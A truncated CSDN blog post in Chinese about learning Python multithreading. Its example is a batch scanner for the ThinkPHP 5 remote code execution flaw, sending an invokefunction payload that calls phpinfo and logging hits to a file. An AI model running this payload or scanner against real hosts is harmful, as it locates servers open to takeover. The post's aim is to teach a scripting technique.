python批量扫描脚本多线程的编写

本文记录了作者初次尝试编写Python多线程脚本的过程,用于批量扫描TP5远程代码执行漏洞。文章详细介绍了如何限制线程数量以实现可控的多线程,并分享了学长优化线程执行顺序的建议,最后提到了使用信号量(semaphore)解决线程同步问题的链接。
摘要由CSDN通过智能技术生成

很久以前一直想要学习python多线程脚本的编写,奈何学习能力太差了,一直没能理解其中的知识,这次下定决心学习一下多线程脚本的实现,因为这个功能实在是太重要了,一个脚本运行速度的快慢,对你工作的效率起着决定性的作用。所以,学会多线程迫在眉睫。

 

这里记录一下我写的第一个多线程脚本,关于线程我就不说了,网上有很多教程,这个旨在记录我学习理解的多线程并实现脚本的编写。

这是一个tp5的一个远程代码执行的poc,实现的是批量扫描是否存在这个漏洞,主要代码:

# -*- coding:UTF-8 -*-

import requests
import sys
import threading

def check(url):
	parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
	try:
		responce = requests.get(url = url, params = parameters)
		body = responce.text
		if body.find('PHP Extension') != -1:
		    with open("success.txt", "a") as f1:
		        f1.write(url + "\n")
		        print("[+] " + url)
		else:
			print("[-] " + url)
	except:
		print("
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值